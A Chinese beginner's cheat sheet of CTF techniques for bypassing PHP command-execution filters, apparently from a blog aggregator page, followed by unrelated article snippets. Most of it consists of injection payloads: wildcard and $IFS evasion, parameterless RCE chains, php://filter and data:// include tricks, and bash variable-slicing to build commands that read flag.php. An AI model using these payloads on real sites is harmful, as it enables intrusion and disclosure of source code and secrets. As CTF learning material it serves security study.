摘要:第一个是小数点。取得数组内容查看该路径下的目录数组逆转函数将内部指针指向数组中的下一个元素,并输出。
萌新总结,仅供参考的~~~~~
目录
*可以匹配0或多个字符?可以匹配任意一个字符[abcd]匹配abcd中任意一个字符[a-z]表示范围a到z,表示范围的意思[]匹配括号中任意一个字符
例如:
在这一题中过滤掉了flag,我们就可以直接用f*或f???代替
system()与``作用相同,但是需要echo特殊的"/x73/x79/x73/x74/x65/x6d"()也等于system()passthru()exec()shell_exec()
1.tac:从最后一行开始显示,是cat的反向显示2.more:一页一页的显示档案内容3.less:与more类似4.head:查看文档的前几行5.tail:查看文档的后几行6.nl:显示的时候,顺便输入行号7.od:以二进制的方式读取档案内容8.vi:一种编辑器9.uniq:查看10.vim:一种编译器
1.${IFS}2.$IFS$13.${IFS4.%20空格5.<和<>重定向符6.%09水平制表符
可以直接通配符匹配在php结构内,
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
关于无参rce
localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。pos()取得数组内容scandir()查看该路径下的目录array_reverse()数组逆转next() 函数将内部指针指向数组中的下一个元素,并输出。show_source()显示源码
可以使用base64通配符进行匹配命令执行进行查看flag
?c=/???/????64 flag.php意思/bin/base64 flag.php
其次,我们可以利用bzip2命令
可以利用/usr/bin下的bzip2
?c=/???/???/????2 ????.???/usr/bin/bzip2 flag.php
第三个使用.(进行)执行sh命令
上传post文件数据包
POST数据包POC
然后抓包,执行poc执行命令
?c=.+/???/????????[@-[]
#!/bin/shls
#!/bin/shtac flag.php
在执行函数被禁后,可以使用include函数,
例题:
在这一题中,多数的命令执行函数都被禁了,所以我们可以尝试使用include函数进行绕过
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c包含一个get传入的参数1,在原题的源码里禁用的函数只对c禁用,1是随便用的,然后用1来读取flag.php
在命令执行中源码会使用include函数,而不是eval函数
?c=data://text/plain,
data会把后面的数字,字符串作为php代码执行
?c=data://text/plain,
/dev/null 2>&1,它的作用为执行某个命令不会有任何输出
绕过的方法就是,多用一个命令,进行命令的一个组合
?c=ls;ls?c=cat flag.php;ls
特殊的,我们使用的符号有
;||&&——%26%26
还有一个方法就是复制文件或移动文件
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||lsb.txt
源码
常见的
c=echo file_get_contents("flag.php");
使用include函数,include($_GET[a]);?a=php://filter/convert.base64-encode/resource=flag.php
高亮函数,c=highlight_file("flag.php");
show_source函数,c=show_source("flag.php");
c=include("flag.php");echo $flag;
c=include("flag.php");var_dump(get_defined_vars());
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
你要上天吗?
函数解释
ob_get_contents()——返回输出缓冲区的内容ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲
解题的思路就是,
执行PHP的代码,让后面的匹配缓冲区不执行直接退出
例如payload
c=include("/flag.txt");exit(0);c=require_once("/flag.txt");exit();
c=?>用来闭合 $a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹 foreach($a as $f) { echo($f->__toString()." "); } exit(0);?>
具体含义利用~获取变量的最后几位,
~0获取最后一位~1获取最后两位~[a-z]/[A-Z]获取最后一位,等同数字0在这要配合$PWD,$PATH$PWD——echo $PWD会输出当前目录名
一般$PATH是以bin结尾,所以${PATH:-A}为n在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l我们就可以构造nlnl flag.php${PATH:~A}${PWD:~A} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}}为t${PWD:${Z}:${#SHLVL}}为//bin/cat flag.php${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/${#RANDOM}的值大概率是4或5,这就构造出4了/bin/base64 flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${USER:}的最后一位为a/bin/cat flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${##}和${#?}可以代替SHLVL,${PWD::${#?}}=//bin/rev flag.php${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/119190.html
摘要:內建命令和非內建命令的操作方式大不相同。內建命令內建命令和外部命令的区别在于前者不需要使用子进程来执行。和命令都是內建与。命令演示演示说明利用命令来了解某个命令是否是內建的。 时间:2017年04月10日 说明:本文部分内容均摘取自书籍《Linux命令行与shell脚本编程大全》,版权归原作者所有。《Linux命令行与shell脚本编程大全》(第三版)第五章学习总结 第五章:理解she...
摘要:是什么命令常见于和类的操作系统之中用于设置周期性被执行的指令。 crontab是什么 crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。「crontab」一词来源于希腊语chronos(χρνο),原意是时间. 而crond是Linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,操作系统默认会安装此服务工具,并且会自动启动crond...
摘要:四将后台中的命令调至前台继续运行。五将一个在后台暂停的命令,变成在后台继续执行。运行与控制后台进程的方法顾名思义,的用途就是让提交的命令忽略所有的信号。进入指定会话后执行即可关闭该会话。 首先是 fg、bg、jobs、&、nohup、ctrl+z、ctrl+c 命令 一、& 加在一个命令的最后,可以把这个命令放到后台执行,如 watch -n 10 sh test.sh &...
摘要:四将后台中的命令调至前台继续运行。五将一个在后台暂停的命令,变成在后台继续执行。运行与控制后台进程的方法顾名思义,的用途就是让提交的命令忽略所有的信号。进入指定会话后执行即可关闭该会话。 首先是 fg、bg、jobs、&、nohup、ctrl+z、ctrl+c 命令 一、& 加在一个命令的最后,可以把这个命令放到后台执行,如 watch -n 10 sh test.sh &...
阅读 1921·2021-11-19 09:40
阅读 2397·2021-11-15 11:37
阅读 1727·2021-11-08 13:24
阅读 2323·2021-10-18 13:24
阅读 2654·2021-10-11 10:57
阅读 3385·2021-09-22 15:42
阅读 3657·2021-09-06 15:00
阅读 664·2019-12-27 11:54